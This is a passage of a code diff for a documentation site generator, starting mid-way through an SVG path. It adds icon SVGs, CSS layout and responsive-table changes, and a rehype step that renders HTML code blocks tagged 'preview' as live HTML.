8.38-2.376.13 2.734-10.27 3.564-10.595-.505-.732-3.743-.423-5.55 2.376-.65 1-4.622 8.04-5.598 9.195-1.725 2.05-1.855.293-1.367-1.758.163-.7.44-1.595.797-2.588 1.14-2.57 2.36-3.385 3.108-4.215 5.03-5.582 7.9-10.107 6.77-11.88-1-1.58-4.378-.88-6.542 2.376-3.987 5.973-7.665 14.16-8.137 17.902-.456 3.743 2.262 4.02 4.1 3.108zm2.116-10.953c.18-.407.293-.52.602-1.204 1.8-3.938 4.036-8.088 5.582-10.025.96-1 2.3.358-.13 4.1a37.625 37.625 0 0 1-4.834 6.038c-.456.52-.863.944-1.042 1.188-.13.163-.277.13-.18-.098z"/>
+</svg>

scripts/assets/swift.svg

@@ -0,0 +1,3 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" width="1em" height="1em" viewBox="0 0 150 150">
+  <path d="M149.996652,41.5504118 C149.996652,40.0404009 149.969865,38.5370862 149.929684,37.0237271 C149.889479,33.7232863 149.600703,30.4305622 149.065807,27.1735006 C148.507382,23.9127729 147.466929,20.7532587 145.978615,17.7987099 C142.956518,11.8649909 138.1316,7.04156844 132.19675,4.0211156 C129.242865,2.53082012 126.082821,1.49033249 122.821331,0.934130935 C119.563242,0.396319522 116.269046,0.106431705 112.967097,0.066962791 C111.456985,0.0267851164 109.953569,0.0100444187 108.440109,0 L41.5565427,0 C40.0464306,0 38.5430153,0.0267851164 37.0295549,0.066962791 C36.2092058,0.0903997679 35.3855083,0.117184884 34.5618108,0.157362559 C32.0854761,0.256798914 29.6181641,0.516263128 27.1753203,0.934130935 C24.7417426,1.35877149 22.3608012,2.04348485 20.0734408,2.97649606 C19.3010849,3.30014955 18.5410063,3.64835606 17.7932051,4.0211156 C15.5863952,5.15055914 13.519722,6.53499141 11.6355641,8.14602353 C11.0060717,8.68507399 10.4000179,9.2442133 9.81740256,9.8200933 C7.47219368,12.1591083 5.51152349,14.8541431 4.00799143,17.8054061 C2.51889323,20.7596305 1.47840127,23.9192644 0.920800036,27.1801969 C0.390726031,30.4353902 0.106428217,33.7258611 0.0703156391,37.0237271 C0.0267869101,38.5337381 0.0100450913,40.0370527 0,41.5504118 L0,108.456284 C0,109.966295 0.0267869101,111.46961 0.0703156391,112.979621 C0.110229315,116.280076 0.39900748,119.572822 0.934193491,122.829848 C1.49106583,126.090961 2.53159273,129.250701 4.02138488,132.204638 C7.04518753,138.133686 11.8652306,142.95575 17.7932051,145.982233 C20.747852,147.46998 23.9076759,148.509267 27.1686236,149.065869 C30.4267126,149.60368 33.7209094,149.893568 37.0228582,149.933037 C38.5296219,149.973215 40.0363856,149.989956 41.549846,150 L108.446806,150 C109.956918,150 111.460333,149.973215 112.973793,149.933037 C116.276759,149.891708 119.571929,149.601833 122.831376,149.065869 C126.092204,148.508782 129.251957,147.469519 132.206795,145.982233 C138.136507,142.956565 142.95707,138.132809 145.978615,132.20129 C147.468407,129.247353 148.508934,126.087613 149.065807,122.826499 C149.603754,119.569766 149.893662,116.276895 149.933033,112.976273 C149.973213,111.46961 149.989955,109.962947 150,108.452936 L150,46.9241758 C149.996652,45.1329211 149.996652,43.3416665 149.996652,41.5504118 Z M126.598286,122.240575 C119.901558,109.206268 107.4356,112.440571 101.046922,115.721747 C100.471003,116.056561 99.8816911,116.391375 99.2890308,116.726189 L99.1483995,116.809893 C85.9223626,123.840986 68.1659896,124.356599 50.312514,116.682663 C35.779112,110.381458 23.4900254,99.8344883 15.0575919,86.4255262 C19.1601349,89.4606647 23.5534617,92.08168 28.1731327,94.2501283 C47.0445109,103.089217 66.0096433,102.449722 79.4030984,94.2501283 C60.3174249,79.5685364 44.3792134,60.4339189 32.161034,44.9588179 C29.8334165,42.2434232 27.7304143,39.3433109 25.8728068,36.2871364 C40.5051565,49.6796946 63.6088665,66.4940515 71.9061119,71.1479654 C54.3037636,52.5691391 38.7941426,29.6511239 39.5207375,30.3877146 C67.2418412,58.3178947 92.819992,74.1110689 92.819992,74.1110689 C93.7843207,74.640075 94.4941738,75.0652887 95.0734408,75.4503248 C95.6092689,74.0835027 96.0741937,72.6899392 96.4663601,71.2751948 C100.892897,55.0936363 95.9105317,36.5951653 84.6432876,21.3209527 C110.355373,36.7491797 125.553596,66.075534 119.32564,90.8785518 C119.178312,91.45778 119.007545,92.0169193 118.843475,92.5827548 C131.741372,108.452936 128.232287,125.451441 126.588241,122.243923 L126.598286,122.240575 Z"/>
+</svg>

scripts/assets/swiftui.svg

@@ -0,0 +1,3 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" width="1em" height="1em" viewBox="0 0 150 150">
+  <path d="M149.996652,41.5504118 C149.996652,40.0404009 149.969865,38.5370862 149.929684,37.0237271 C149.889479,33.7232863 149.600703,30.4305622 149.065807,27.1735006 C148.507382,23.9127729 147.466929,20.7532587 145.978615,17.7987099 C142.956518,11.8649909 138.1316,7.04156844 132.19675,4.0211156 C129.242865,2.53082012 126.082821,1.49033249 122.821331,0.934130935 C119.563242,0.396319522 116.269046,0.106431705 112.967097,0.066962791 C111.456985,0.0267851164 109.953569,0.0100444187 108.440109,0 L41.5565427,0 C40.0464306,0 38.5430153,0.0267851164 37.0295549,0.066962791 C36.2092058,0.0903997679 35.3855083,0.117184884 34.5618108,0.157362559 C32.0854761,0.256798914 29.6181641,0.516263128 27.1753203,0.934130935 C24.7417426,1.35877149 22.3608012,2.04348485 20.0734408,2.97649606 C19.3010849,3.30014955 18.5410063,3.64835606 17.7932051,4.0211156 C15.5863952,5.15055914 13.519722,6.53499141 11.6355641,8.14602353 C11.0060717,8.68507399 10.4000179,9.2442133 9.81740256,9.8200933 C7.47219368,12.1591083 5.51152349,14.8541431 4.00799143,17.8054061 C2.51889323,20.7596305 1.47840127,23.9192644 0.920800036,27.1801969 C0.390726031,30.4353902 0.106428217,33.7258611 0.0703156391,37.0237271 C0.0267869101,38.5337381 0.0100450913,40.0370527 0,41.5504118 L0,108.456284 C0,109.966295 0.0267869101,111.46961 0.0703156391,112.979621 C0.110229315,116.280076 0.39900748,119.572822 0.934193491,122.829848 C1.49106583,126.090961 2.53159273,129.250701 4.02138488,132.204638 C7.04518753,138.133686 11.8652306,142.95575 17.7932051,145.982233 C20.747852,147.46998 23.9076759,148.509267 27.1686236,149.065869 C30.4267126,149.60368 33.7209094,149.893568 37.0228582,149.933037 C38.5296219,149.973215 40.0363856,149.989956 41.549846,150 L108.446806,150 C109.956918,150 111.460333,149.973215 112.973793,149.933037 C116.276759,149.891708 119.571929,149.601833 122.831376,149.065869 C126.092204,148.508782 129.251957,147.469519 132.206795,145.982233 C138.136507,142.956565 142.95707,138.132809 145.978615,132.20129 C147.468407,129.247353 148.508934,126.087613 149.065807,122.826499 C149.603754,119.569766 149.893662,116.276895 149.933033,112.976273 C149.973213,111.46961 149.989955,109.962947 150,108.452936 L150,46.9241758 C149.996652,45.1329211 149.996652,43.3416665 149.996652,41.5504118 Z M126.598286,122.240575 C119.901558,109.206268 107.4356,112.440571 101.046922,115.721747 C100.471003,116.056561 99.8816911,116.391375 99.2890308,116.726189 L99.1483995,116.809893 C85.9223626,123.840986 68.1659896,124.356599 50.312514,116.682663 C35.779112,110.381458 23.4900254,99.8344883 15.0575919,86.4255262 C19.1601349,89.4606647 23.5534617,92.08168 28.1731327,94.2501283 C47.0445109,103.089217 66.0096433,102.449722 79.4030984,94.2501283 C60.3174249,79.5685364 44.3792134,60.4339189 32.161034,44.9588179 C29.8334165,42.2434232 27.7304143,39.3433109 25.8728068,36.2871364 C40.5051565,49.6796946 63.6088665,66.4940515 71.9061119,71.1479654 C54.3037636,52.5691391 38.7941426,29.6511239 39.5207375,30.3877146 C67.2418412,58.3178947 92.819992,74.1110689 92.819992,74.1110689 C93.7843207,74.640075 94.4941738,75.0652887 95.0734408,75.4503248 C95.6092689,74.0835027 96.0741937,72.6899392 96.4663601,71.2751948 C100.892897,55.0936363 95.9105317,36.5951653 84.6432876,21.3209527 C110.355373,36.7491797 125.553596,66.075534 119.32564,90.8785518 C119.178312,91.45778 119.007545,92.0169193 118.843475,92.5827548 C131.741372,108.452936 128.232287,125.451441 126.588241,122.243923 L126.598286,122.240575 Z"/>
+</svg>

scripts/assets/webstorm.svg

@@ -0,0 +1,3 @@
+<svg aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 14 14" height="1em" width="1em">
+  <path d="m13 5.065-.96-2.378-.6-1.44L8.65 1l-.435.42-.555-.21-1.763.938L4 1.022l-3 1.23 1.612 9.586L9.25 13l.42-2.13.075-.045h-6.57v-7.65h7.65v7.013L13 8.898l-1.313-2.46m-8.362 4.238h7.35V3.325h-7.35v7.35zm3.45-.863H3.963V9.34h2.812v.473zm2.063-5.648c.412 0 .824.15 1.14.398l-.353.525a1.383 1.383 0 0 0-.787-.3c-.248 0-.398.112-.398.284 0 .202.136.278.66.405.615.173.975.398.975.938 0 .622-.473.975-1.125.975a2.16 2.16 0 0 1-1.312-.502l.389-.489c.285.225.563.375.923.375.278 0 .45-.112.45-.3 0-.173-.114-.262-.615-.397-.623-.165-1.02-.338-1.02-.952v-.022c0-.563.45-.938 1.073-.938Zm-4.313.06.472 1.8.525-1.8h.525l.526 1.8.464-1.8h.736l-.9 3.112h-.586l-.502-1.8-.51 1.8h-.577l-.9-3.112h.728z"/>
+</svg>

scripts/create.mjs

@@ -12,6 +12,7 @@ import { homeCardIcons } from './utils/homeCardIcons.mjs';
 import { getTocsTree } from './utils/getTocsTree.mjs';
 import { rehypeTitle } from './utils/rehypeTitle.mjs';
 import { anchorPoint } from './utils/anchorPoint.mjs';
+import { rehypePreviewHTML } from './utils/rehypePreviewHTML.mjs';
 
 const favicon = `data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20height%3D%221em%22%20width%3D%221em%22%3E%20%3Cpath%20d%3D%22m21.66%2010.44-.98%204.18c-.84%203.61-2.5%205.07-5.62%204.77-.5-.04-1.04-.13-1.62-.27l-1.68-.4c-4.17-.99-5.46-3.05-4.48-7.23l.98-4.19c.2-.85.44-1.59.74-2.2%201.17-2.42%203.16-3.07%206.5-2.28l1.67.39c4.19.98%205.47%203.05%204.49%207.23Z%22%20fill%3D%22%23c9d1d9%22%2F%3E%20%3Cpath%20d%3D%22M15.06%2019.39c-.62.42-1.4.77-2.35%201.08l-1.58.52c-3.97%201.28-6.06.21-7.35-3.76L2.5%2013.28c-1.28-3.97-.22-6.07%203.75-7.35l1.58-.52c.41-.13.8-.24%201.17-.31-.3.61-.54%201.35-.74%202.2l-.98%204.19c-.98%204.18.31%206.24%204.48%207.23l1.68.4c.58.14%201.12.23%201.62.27Zm2.43-8.88c-.06%200-.12-.01-.19-.02l-4.85-1.23a.75.75%200%200%201%20.37-1.45l4.85%201.23a.748.748%200%200%201-.18%201.47Z%22%20fill%3D%22%23228e6c%22%20%2F%3E%20%3Cpath%20d%3D%22M14.56%2013.89c-.06%200-.12-.01-.19-.02l-2.91-.74a.75.75%200%200%201%20.37-1.45l2.91.74c.4.1.64.51.54.91-.08.34-.38.56-.72.56Z%22%20fill%3D%22%23228e6c%22%20%2F%3E%20%3C%2Fsvg%3E`;
 
@@ -41,6 +42,7 @@ export function create(str = '', options = {}) {
       }],
     ],
     rewrite: (node, index, parent) => {
+      rehypePreviewHTML(node, parent);
       rehypeTitle(node, options.filename);
       homeCardIcons(node, parent, options.isHome);
       tooltips(node, index, parent);

scripts/style.css

@@ -309,6 +309,11 @@ body:not(.home) .h2wrap > .wrap-body > ul {
 body.home .h1wrap p {
   text-align: left;
 }
+body.home .max-container a.home-button:hover, body.home .max-container a.home-button:visited:hover {
+  transition: all .3s;
+  text-decoration-color: #fff;
+  color: #fff;
+}
 
 .home-card {
   display: grid;
@@ -380,7 +385,7 @@ a.text-grey {
 }
 
 .header-nav .max-container {
-  padding-top: 1.8rem;
+  padding: 1.8rem 1.8rem 0;
 }
 
 .header-nav .max-container, .header-nav .logo, .header-nav .menu, .header-nav .menu a {
@@ -450,6 +455,8 @@ a.text-grey {
 
 .wrap-header.h1wrap .wrap-body {
   color: var(--color-fg-subtle);
+  max-width: 850px;
+  margin: 0 auto;
 }
 
 .wrap-header.h1wrap > h1 {
@@ -592,6 +599,10 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
   grid-template-columns: repeat(1,minmax(0,1fr));
 }
 
+.h4wrap > .wrap-body ul + hr {
+  margin-bottom: 0;
+}
+
 .h3wrap > .wrap-body ul:not(:last-child),
 .h3wrap > .wrap-body ol,
 .h3wrap > .wrap-body dl {
@@ -634,7 +645,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
 }
 .h2wrap-body ul.style-timeline li::before {
   color: #228e6c;
-  background-color: #fff;
+  background-color: var(--color-canvas-default);
   counter-increment: stepCount;
   content: counter(stepCount);
   border-radius: initial;
@@ -649,14 +660,15 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
   left: -14px;
 }
 .h2wrap-body ul.style-timeline li:last-child {
-  border-image: linear-gradient(to bottom,#228e6c,rgba(0,0,0,0)) 1 100%;
+  border-image: linear-gradient(to bottom,#46c69e96,rgba(0,0,0,0)) 1 100%;
 }
 .h2wrap-body ul.style-timeline li {
   border-bottom: 0 !important;
   padding-top: 0 !important;
   padding-bottom: 25px !important;
-  border-left: 2px solid #228e6c;
+  border-left: 2px solid #46c69e96;
   margin-left: 30px;
+  border-left-color: #46c69e96;
 }
 .h2wrap-body ul.style-timeline li > pre {
   padding: 0 !important;
@@ -729,48 +741,34 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
   overflow-x: auto;
 }
 
-.cols-1 {
-  grid-template-columns: repeat(1,minmax(0,1fr)) !important;
-}
-.cols-2 {
-  grid-template-columns: repeat(2,minmax(0,1fr)) !important;
-}
-.cols-3 {
-  grid-template-columns: repeat(3,minmax(0,1fr)) !important;
-}
-.cols-4 {
-  grid-template-columns: repeat(4,minmax(0,1fr)) !important;
-}
-.cols-5 {
-  grid-template-columns: repeat(5,minmax(0,1fr)) !important;
-}
-.cols-6 {
-  grid-template-columns: repeat(6,minmax(0,1fr)) !important;
-}
-.col-span-2 {
-  grid-column: span 2/span 2;
-}
-.col-span-3 {
-  grid-column: span 3/span 3;
-}
-.col-span-4 {
-  grid-column: span 4/span 4;
-}
-.col-span-5 {
-  grid-column: span 5/span 5;
-}
-.row-span-2 {
-  grid-row: span 2/span 2;
-}
-.row-span-3 {
-  grid-row: span 3/span 3;
-}
-.row-span-4 {
-  grid-row: span 4/span 4;
-}
-.row-span-5 {
-  grid-row: span 5/span 5;
-}
+.cols-1 { grid-template-columns: repeat(1,minmax(0,1fr)) !important; }
+.cols-2 { grid-template-columns: repeat(2,minmax(0,1fr)) !important; }
+.cols-3 { grid-template-columns: repeat(3,minmax(0,1fr)) !important; }
+.cols-4 { grid-template-columns: repeat(4,minmax(0,1fr)) !important; }
+.cols-5 { grid-template-columns: repeat(5,minmax(0,1fr)) !important; }
+.cols-6 { grid-template-columns: repeat(6,minmax(0,1fr)) !important; }
+.cols-7 { grid-template-columns: repeat(7,minmax(0,1fr)) !important; }
+.cols-8 { grid-template-columns: repeat(8,minmax(0,1fr)) !important; }
+.cols-9 { grid-template-columns: repeat(9,minmax(0,1fr)) !important; }
+.col-span-2 { grid-column: span 2/span 2; }
+.col-span-3 { grid-column: span 3/span 3; }
+.col-span-4 { grid-column: span 4/span 4; }
+.col-span-5 { grid-column: span 5/span 5; }
+.col-span-6 { grid-column: span 6/span 6; }
+.col-span-7 { grid-column: span 7/span 7; }
+.col-span-8 { grid-column: span 8/span 8; }
+.col-span-9 { grid-column: span 9/span 9; }
+.col-span-10 { grid-column: span 10/span 10; }
+.row-span-2 { grid-row: span 2/span 2; }
+.row-span-3 { grid-row: span 3/span 3; }
+.row-span-4 { grid-row: span 4/span 4; }
+.row-span-5 { grid-row: span 5/span 5; }
+.row-span-6 { grid-row: span 6/span 6; }
+.row-span-7 { grid-row: span 7/span 7; }
+.row-span-8 { grid-row: span 8/span 8; }
+.row-span-9 { grid-row: span 9/span 9; }
+.row-span-10 { grid-row: span 10/span 10; }
+
 .wrap-text {
   white-space: pre-wrap !important;
   overflow-wrap: break-word !important;
@@ -912,14 +910,13 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
 @media (min-width: 1024px) {
   .h2wrap-body {
     display: grid;
-    gap: 1.75rem;
+    gap: 0.95rem;
   }
   .h2wrap-body > .wrap {
     margin-bottom: 0;
   }
 }
-
-@media only screen and (max-width: 375px) {
+@media (375px <= width <= 1024px) {
   .header-nav .title {
     font-size: 1rem;
   }
@@ -962,23 +959,30 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
   .footer-wrap {
     font-size: 0.75rem;
   }
-  table td, table th {
+  table.auto-wrap {
+    overflow: auto;
+    display: block;
+  }
+  table.auto-wrap thead {
+    display: none;
+  }
+  table.auto-wrap td, table.auto-wrap th {
     display: block;
     text-align: left !important;
   }
   table td + td, table th + th {
     padding-top: 0 !important;
   }
+  table td:first-child {
+    white-space: initial;
+  }
+  .tooltip:hover .tooltiptext {
+    display: inline-block;
+  }
 }
 
 @media (min-width: 768px) {
   .home-card {
     grid-template-columns: repeat(4,minmax(0,1fr));
   }
-  .wrap-header.h3wrap > .wrap-body {
-    overflow: initial;
-  }
-  .tooltip:hover .tooltiptext {
-    display: inline-block;
-  }
 }

scripts/utils/getSVGNode.mjs

@@ -3,11 +3,19 @@ import rehypeParse from 'rehype-parse';
 import {unified} from 'unified';
 import { VFile } from 'vfile';
 
-export function getSVGNode(iconPath) {
+export function getSVGNode(iconPath, space = 'svg') {
   const svgStr = fs.readFileSync(iconPath);
-  const processor = unified().use(rehypeParse,{ fragment: true, space: "svg" })
+  const processor = unified().use(rehypeParse,{ fragment: true, space })
   const file = new VFile();
   file.value = svgStr.toString();
   const hastNode = processor.runSync(processor.parse(file), file);
   return hastNode.children || []
+}
+
+export function getVNode(str = '', space = 'html') {
+  const processor = unified().use(rehypeParse,{ fragment: true, space })
+  const file = new VFile();
+  file.value = str.toString();
+  const hastNode = processor.runSync(processor.parse(file), file);
+  return hastNode.children || []
 }

scripts/utils/rehypePreviewHTML.mjs

@@ -0,0 +1,14 @@
+import { getCodeString } from 'rehype-rewrite';
+import { getVNode } from './getSVGNode.mjs';
+
+export function rehypePreviewHTML(node, parent) {
+  if (node.type === 'element' && node.tagName === 'pre' && node.properties?.className?.includes('language-html')) {
+    const child = node.children[0];
+    if (child?.tagName === 'code' && child.data?.meta === 'preview') {
+      const code = getCodeString(node.children)
+      const vnode = getVNode(code || '')
+      node.children = vnode
+    }
+  }
+
+}